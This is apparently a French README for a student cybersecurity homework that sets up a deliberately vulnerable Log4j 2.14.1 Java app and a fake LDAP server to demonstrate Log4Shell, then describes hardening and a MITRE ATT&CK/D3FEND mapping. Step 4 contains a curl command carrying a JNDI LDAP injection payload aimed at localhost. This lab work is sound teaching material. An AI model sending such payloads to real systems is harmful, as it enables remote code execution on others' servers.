Devoir 9 – Sécurisation des systèmes contre les exploits Log4Shell

Aperçu

Ce projet démontre l'exploitation et l'atténuation de la vulnérabilité Log4Shell (CVE-2021-44228) à l'aide d'une application web Java dockerisée avec Log4j 2.14.1 vulnérable. Le dispositif comprend également un serveur LDAP malveillant simulé pour démontrer le chemin d'attaque par injection JNDI.

Après l'exploitation, le système est durci en mettant à niveau Log4j, en validant les entrées et en appliquant les recommandations de MITRE D3FEND et ATT&CK.

Structure des dossiers

log4shell-homework9/
├── docker-compose.yml
├── Dockerfile
├── pom.xml
├── ldap_server.py
├── src/...
├── architecture_diagram.png
├── README.md
├── mitigation_report.pdf

Comment exécuter

1. Construire l'application Java (avec Log4j vulnérable)

docker build -t vulnerable-app .

2. Exécuter l'application avec Docker Compose

docker-compose up

L'application sera accessible à l'adresse :
http://localhost:8080

3. Démarrer le faux serveur LDAP (dans un nouveau terminal)

python3 ldap_server.py

4. Simuler un exploit

Envoyez une requête comme celle-ci à l'application :

curl http://localhost:8080?input=${jndi:ldap://localhost:8000/Exploit}

Le serveur LDAP devrait recevoir la requête (cela simule l'exploit JNDI).

Comment le système est durci

Après avoir démontré l'attaque, le système a été sécurisé en :

• Mettant à niveau Log4j vers la version 2.17.0
• Validant les entrées (blocage des motifs ${jndi:...})
• Désactivant les recherches de messages dans la configuration
• Utilisant l'isolation Docker pour limiter la portée
• Appliquant les techniques MITRE D3FEND & ATT&CK

Mappage MITRE

MITRE ATT&CK :

• T1190 : Exploitation d'une application exposée publiquement
• T1210 : Exploitation de services distants

MITRE D3FEND :

• D3-IA : Validation des entrées
• D3-HI : Détection d'intrusion basée sur l'hôte
• D3-DA : Désactivation des fonctions non sécurisées

Rapport

Voir mitigation_report.pdf pour :

• L'architecture du système avant/après
• L'explication de Log4Shell
• La stratégie d'atténuation
• Le plan de réponse aux incidents

Enregistrement d'écran

Si la vidéo n'est pas téléchargée directement, elle est disponible via le lien dans le rapport.

Auteur

Serpil Rivas
SEAS 8405 – Architectures de cybersécurité
Mai 2025